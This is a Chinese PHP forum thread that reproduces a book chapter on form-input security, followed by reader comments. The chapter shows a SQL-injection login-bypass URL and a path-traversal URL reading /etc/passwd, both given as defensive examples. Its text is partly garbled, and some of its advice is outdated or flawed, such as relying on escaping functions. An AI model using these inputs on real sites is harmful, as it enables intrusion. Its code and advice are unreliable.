影响:数据机密性、完整性,以及能够读取的有效性,修改(MODIFY)、删除(DELETE)以及销毁(DROP)数据库表时。 下面是MySQL数据库系统自带的防SQL注入的两个函数: mysql_escape_string() mysql_real_escape_string() 使用上述函数的代码例子如下:PHP代码: &?php &&&//&undo&magic_quotes_gpc&to&avoid&double&escaping &&&if&(get_magic_quotes_gpc())&{ &&&&&&$_GET['name']&=&stripslashes($_GET['name']; &&&&&&$_GET['binary']&=&stripslashes($_GET['binary']); &&&}
&&&$name&=&mysql_escape_string&($_GET['name']); &&&$binary&=&mysql_escape_string&($_GET['binary']); &&&mysql_query($db,&"INSERT&INTO&tbl&(name,image)& &&&VALUES('$name',&'$image')"); ?&
攻击者进行SQL注入的常用手段,多半是插入恶意的代码到我们的数据库表中,如以下代码:PHP代码: &?php &&&$query&=&"SELECT&login_id&FROM&users&WHERE&user='$user'&AND&pwd='$pw'"; &&&mysql_query($query); ?&
这是一段登录验证的代码,即验证用户和密码是否正确的SQL语句。任何一个要登录的用户,使用一个类似于下面的URL查询串: http://domain.com/login.php?user=admin'%20OR%20(user='&pwd=')%20OR% 20user='就可能取得管理员的账号。 这样的攻击也很容易处理和预防,我们可以使用addslashes()函数来处理用户的输入,它会在输入的字符串中,寻找单引号('),双引号(&),然后插入转义符号(\)和NUL符(\0)。还有其他的函数也是针对过滤输入的,如上面使用过的strip_tags()函数,另外还可在处理登录逻辑和方法上做文章,让攻击者无漏洞可钻。 附件: 您所在的用户组无法下载或查看附件
昵称: PHPChina &时间:
除了上面的方法,PHP 5还提供了一组叫做ctype的外部扩展库,它提供一个非常迅速的机制,专门针对字符串内容的校验功能。 我们看一个应用ctype扩展的例子:PHP代码: &?php &&&if&(!ctype_alnum($_GET['login']))&{ &&&&&&echo&"输入项必须为英文字符或数字0-9。"; &&&} &&&if&(!ctype_alpha($_GET['captcha']))&{ &&&&&&echo&"输入项必须为英文字符(大小写均可)"; &&&} &&&if&(!ctype_xdigit($_GET['color']))&{ &&&&&&echo&"输入项必须填写一个16进制数字。"; &&&} ?&
<font color="#.10.3数据过滤 - PECL filter扩展
PHP 5的PECL扩展库提供了一个新功能-filter扩展。使用filter可以极大的简化表单验证的编码量,尤其是对PHP新手而言,对提高程序的安全性很有帮助,从而远离SQL注入和不充分的字符过滤处理。 可以到http://pecl.php.net/package/filter下载最新的版本。在编写本书时它仍处于beta版本。filter软件包提供了数据类型验证和数据编码两个功能,它提供以下几个主要函数: filter_data――用于过滤数据; filter_input――用于表单提交内容的过滤; filter_var――变量内容的过滤,与filter_data和is_int()标准函数类似。 这3个函数绝大部分的功能都很类似,只不过应用于不同的场合,它们使用的参数也是通用的,如表5-5所示。 表5-5
常量名称功& & 能FILTER_VALIDATE_INT 验证为整数,可以指定范围FILTER_VALIDATE_FLOAT 验证为浮点数FILTER_ VALIDATE_REGEXP 匹配一个PCRE正则表达式模式FILTER_ VALIDATE_URL 匹配一个URLFILTER_ VALIDATE_EMAIL 匹配一个email地址FILTER_SANITIZE_STRING 去除超文本标签FILTER_SANITIZE_ENCODED 对字符串使用URL编码FILTER_VALIDATE_IP验证值是否为IP地址 下面举例说明,请见如下脚本:PHP代码: &?php &&&var_dump(filter_data([email=]''[/email],&FILTER_VALIDATE_EMAIL)); &&&var_dump(filter_data('sobooo.com',&FILTER_VALIDATE_EMAIL)); ?&
该脚本会输出如下的内容: string(15) && NULL 由于字符串“sobooo.com”因为不是邮件地址的格式,因此被过滤后,显示为NULL值。 再看下面使用filter_input验证表单的脚本例子:PHP代码: &?php &&&//&如使用FILTER_VALIDATE_INT验证用户输入的QQ号码,表单有一个文本框名字为qq: &&&$qq&=&filter_input(INPUT_POST,&'qq',&FILTER_VALIDATE_INT); &&&if&(!empty($qq))&{ &&&&&&echo&"&p&您的QQ号码:&$qq&/p&\n"; &&&}&else&{ &&&&&&echo&'&p&请输入正确的QQ号码(应为纯数字)&/p&'; &&&}
&&&//使用URL&编码 &&&$url&=&"http://post.sina.com.cn/file.php?a=1&b=编码";
&&&//显示被编码后的URL地址 &&&echo&filter_var($url,&FILTER_SANITIZE_ENCODED); ?&
第3个例子比较实用,这个脚本代码可验证IP是否正确,并确认是否是内部网IP,代码如下所示。PHP代码: &?php &&&//&验证IP&v4地址 &&&$ip&=&"192.168.0.23"; &&&if(filter_var($ip,&FILTER_VALIDATE_IP,&FILTER_FLAG_IPV4)&===&False){ &&&&&&echo&"$ip&是非法IP地址"; &&&}else&{ &&&&&&echo&"$ip&是正确的IP地址"; &&&&&&//验证IP是公网IP还是私有IP地址 &&&&&&if(filter_var($ip,&FILTER_VALIDATE_IP,&FILTER_FLAG_NO_PRIV_RANGE)&===&FALSE) &&&&&&{ &&&&&&&&&echo&"$ip&为内部网私有IP地址"; &&&&&&}else{ &&&&&&&&&echo&"$ip&为公网IP地址"; &&&&&&} &&&} ?&
因为PHP 5.2之后已经捆绑了filter扩展,但这一功能一直在升级,你可以查看最新的input_filter动态以及源代码,包括PHP创始人lerdof的个人网站:http://lerdorf.com/php/input_filter.txt
5.10.4input_get()函数
input_get()函数用来获取外部变量,如POST,GET全局数组,格式如下: mixed input_get ( int type,string variable_name [,int filter [,mixed flags [,string charset]]] ) 其中的几个参数含义如下所述。 type:该参数值可以是以下几个值中的一个,它们是INPUT_GET,INPUT_POST,INPUT_COOKIE,INPUT_SERVER,INPUT_ENV,INPUT_SESSION,还有一个99,目前是用来对$_REQUEST进行过滤。 variable_name:变量名。 filter:同filter_data,默认值为FILTER_DEFAULT。 flags:过滤标志。 charset:使用的字符集。 下面是一个使用input_get()函数的例子,代码如下:PHP代码: &?php &&&$search_html&=&input_get(INPUT_GET,&'search',&FILTER_SANITIZE_SPECIAL_CHARS); &&&$search_url&=&input_get(INPUT_GET,&'search',&FILTER_SANITIZE_ENCODED); &&&echo&"您已经搜索到&$search_html.\n"; &&&echo&"&a&href='?search=$search_url'&重新查询.&/a&"; ?&
该程序输出为: 您已经搜索到e & son.&br /& &a href='?search=Me%20%26%20son'&重新查询.&/a& 在上面的代码中,$_GET['search']分别被两种不同过滤器过滤,产生的值也不相同,第一行的filter执行了类htmlspecialchars的操作,第二行则进行了urlencode操作。
说明:在PHP 5.1.4版本之前,不能用filter扩展库。
5.10.5路径检测
PHP应用程序应该安全地进行文件处理,在做操作时一定要进行验证,避免存取文件时访问一些系统或安全级别较高的文件,比如,用户使用如下的URL访问: http://www.ourwebsite.com/script.php?path=../../etc/passwd 而我们的程序是这样写的:PHP代码: &?php &&&$fp&=&fopen("/home/dir/{$_GET['path']}",&"r"); ?&
这样的代码将允许打开服务器系统任意目录下的文件,这是异常危险的。 PHP中有一个basename()的函数,可以用它来引导一个路径并移动每个文件,请见如下代码:PHP代码: &?php &&&$_GET["path"]&=&basename($_GET['path']); &&&//只有文件存在的情况才能打开文件 &&&if&(file_exists("/home/dir/{$_GET['path']}"))&{ &&&&&&$fp&=&fopen("/home/dir/{$_GET['path']}",&"r"); &&&} ?&
最好的解决方法是建立这个用户可以使用的文件白名单,我们在一个模板上建立允许打开的文件,如果有,则允许用户打开该文件。
5.10.6魔法引用magic_quotes_gpc
PHP提供magic_quotes_gpc魔法引用功能来保护我们的网站系统免受攻击,它会自动从用户的输入串中过滤特殊字符(',&,\,\0 (NULL)),并减慢输入的过程。 检查使用magic_quotes_gpc的代码样例: PHP代码:if&(get_magic_quotes_gpc())&{&//检查magic_quotes_gpc的打开状态 &&&function&strip_quotes(&$var)&{ &&&&&&if&(is_array($var){ &&&&&&&&&array_walk($var,&'strip_quotes'); &&&&&&}&else{ &&&&&&&&&$var&=&stripslashes($var); &&&&&&} &&&}//end&func
&&&//&处理GPC &&&foreach&(array('GET','POST','COOKIE')&as&$v){ &&&&&&if&(!empty(${"_".$v})){ &&&&&&&&&array_walk(${"_".$v},&'strip_quotes'); &&&&&&} &&&}
&&&//&处理上传时的文件名称 &&&if&(!empty($_FILES)){ &&&&&&foreach&($_FILES&as&$k&=&&$v)&{ &&&&&&&&&$_FILES[$k]['name']&=&stripslashes($v['name']); &&&&&&} &&&} }
PHP提供这个参数的初衷是好的,但是该功能从出现以来一直备受争议。实践表明,如果采用magic_quotes_gpc,则与不使用该函数相比,需要两倍多的内存来处理每条输入的元素,因此,如果非必要,我们可以在php.ini文件把该参数设置为关闭,不使用该功能,转用其他的方法为来处理。
5.10.7其他高效的解决方案
由于magic_quotes_gpc的效率较低,我们使用其他方法来代替magic_quote_gpc魔法引用的功能,如下脚本:PHP代码:if&(get_magic_quotes_gpc())&{ &&&$in&=&array(&$_GET,&&$_POST,&&$_COOKIE); &&&while&(list($k,$v)&=&each($in))&{ &&&&&&foreach&($v&as&$key&=&&$val)&{ &&&&&&&&&if&(!is_array($val))&{ &&&&&&&&&&&&$in[$k][$key]&=&stripslashes($val); &&&&&&&&&&&& &&&&&&&&&} &&&&&&&&&$in[]&=&&$in[$k][$key]; &&&&&&} &&&} &&&unset($in); }
在本章,我们一起讨论了在PHP 5环境中,表单的基本构成、原理,并且对用户表单提交的处理方法,数据验证等做了详细的讲述。
在做表单处理上,介绍了三种方法,这样可使你全面掌握PHP对表单的处理功能,本章还讲述了不太常用但有时候也会用到的import_request_variable()函数等,希望你在查看其他人编写的源码时遇到这样的函数而不至于迷惑。
在下一章,我们将学习在PHP中对数据的加密技术。
昵称: PHPChina &时间:
昵称: forest &时间:
昵称: PHPChina &时间:
reset似乎不会清除文本框内容,是恢复到原始状态的吧?!
昵称: lmhllr &时间:
昵称: hdwong &时间:
昵称: chinays &时间:
昵称: chaizhiyong &时间:
昵称: xlmo &时间:
昵称: opensource.sun &时间:
昵称: jovistar &时间:
昵称: PHPChina &时间:
昵称: hszl &时间:
简老师发起的,一定要参与一下。 书评不会写,写写流程和需求吧。:$
在书店看过这本书。大概的翻了翻,也找了些自己要查找的问题。感觉还不错,简单,通俗,易懂。但PHP书已经有3本了(圣经2本,案例一本),暂不想买了。
有个建议,希望该书能和PHPCHINA有个栏目互动。这样大家看书有问题,就可以提问。想百度知道那样,只需要注上页码:P135 第13行。&&权威人士以问答形式解决大家书上遇到的问题。这样就和函授一样,比函授还好。肯定效果Very Good~
昵称: hszl &时间:
昵称: phpcast &时间:
昵称: jyb21 &时间:
昵称: jyb21 &时间:
昵称: 深蓝色 &时间:
昵称: lomo &时间:
昵称: songmuyi &时间:
昵称: lihao812 &时间:
昵称: 习明 &时间:
在本书的“文件上传”一章有详细的介绍,包括单文件与多文件上传。:P
昵称: phpcast &时间:
昵称: zheman &时间:
感谢zheman的一番中肯之见。 关于生成下拉菜单,正是你所见,本书在第二章的PHP基础的循环中做了描述。关于注释,如果读者读过了第二章有关foreach等语句的说明,相信会理解的。
您说的一些言语非常好,有的地方还需要再增强,当然有些事情的确是还有很多做得更好的余地,只要是为读者更好的理解,我在论坛上会尽力做好答疑解难的职责。
昵称: phpcast &时间:
昵称: bluetooth_swh &时间:
昵称: lomo &时间:
昵称: bluetooth_swh &时间:
附件: 您所在的用户组无法下载或查看附件
昵称: jfcat &时间:
昵称: jfcat &时间:
昵称: phpcast &时间:
昵称: dzdbutterfly &时间:
只要大家在看过之后,把自己的一些心得体会或对此书的见解发上来,都有获得此书的机会呀
昵称: 天使的魔鬼 &时间:
昵称: zhujbing &时间:
昵称: xubin &时间:
昵称: Lilicl &时间:
昵称: Lilicl &时间:
昵称: chenjianzhen &时间:
想的美!!!别人还是要卖的,只不过让你买书不后悔,先看一下看看是不是自己想要的,再决定买不买
昵称: jfcat &时间:
同感!!!纸版的书还是感觉好些,没事翻一翻还节约电啊(环保啊),建议多看纸版 电子版仅做参考、借鉴,出门不能都把书背着,这样查资料方便,还有可以搜索效率更高 :D
昵称: jfcat &时间:
昵称: bluetooth_swh &时间:
现在买东西真快啊!!!这位朋友很细心啊,向你学习,希望这只是输入时的错误而不是书上的小错误 另外,有时候错误总难免,如果大家都把自己发现的错误提出来帮助改进那也是很好的。这里以后可以再加一个勘误专栏,免得新手看不明白(那也浪费时间啊)!!:D
昵称: jfcat &时间:
bluetooth_swh,你真细心。 多了这个下划线,脚本也无法正确执行。 感谢你的支持与理解。:)
昵称: phpcast &时间:
为多了一个下划线,和读者说声抱歉,同时找出的错误越多越早越好~ 还请大家多扔砖头;P
[ 本帖最后由 phpcast 于
21:52 编辑 ]
昵称: phpcast &时间:
昵称: 江大の才子 &时间:
昵称: eery8145 &时间:
它是这样的使用javascript来修改css使提交按钮不可用,这样就可以避免重复提交document.register.cont.disabled=true
书中写的好详细例子很多要多看哦:D
昵称: jfcat &时间:
昵称: 涛tall &时间:
昵称: 涛tall &时间:
昵称: viagra46 &时间:
谢谢,这属于常识型BUG:)
昵称: phpcast &时间:
谢谢你的支持。 IE浏览器是支持2083长度的字符的(其它的浏览器未验证),因为GET方式为var=value&var1=value2的形式,对于英文大概在400个字符长度左右,因此传递汉字限制也就在200个左右。 针对提出255是常规性说法,是为了让开发者超过更长的数据传递表单时需要使用POST方法,而POST方法不是2083的长度,可以更多,这是由你的PHP.ini中的配置决定的。 其它请参阅本书中的说明文字,谢谢。
[ 本帖最后由 phpcast 于
21:56 编辑 ]
昵称: phpcast &时间:
昵称: eery8145 &时间:
昵称: netuse &时间:
昵称: dwp34998 &时间:
昵称: 涛tall &时间:
昵称: b &时间:
昵称: Edward_Sim &时间:
昵称: jfcat &时间:
昵称: zhoubuwen209 &时间:
昵称: PHPChina &时间:
[ 本帖最后由 jyb21 于
19:13 编辑 ]
昵称: jyb21 &时间:
昵称: yuanjing_119 &时间:
昵称: yuanjing_119 &时间:
昵称: huzuteng &时间:
昵称: jusourt &时间:
昵称: jialong520 &时间:
昵称: 希望收获 &时间:
昵称: bhdgx &时间:
昵称: netstudy &时间:
昵称: netstudy &时间:
昵称: xfsong &时间:
昵称: fjchenq &时间:
昵称: jefsun &时间:
昵称: liumy601 &时间:
昵称: luzhou &时间:
昵称: professor &时间:
昵称: sblack &时间:
昵称: yunfeier &时间:
昵称: cbnuisve &时间:
昵称: dujiangtao &时间:
昵称: freezyye &时间:
昵称: shumon85 &时间:
昵称: 树叶冷了 &时间:
昵称: gaoyongxin &时间:
昵称: henfeng &时间:
昵称: sugarfree &时间:
昵称: phpspy &时间:
昵称: kakashi5240 &时间:

我要回帖

更多关于 每一个时代的人 的文章

 

随机推荐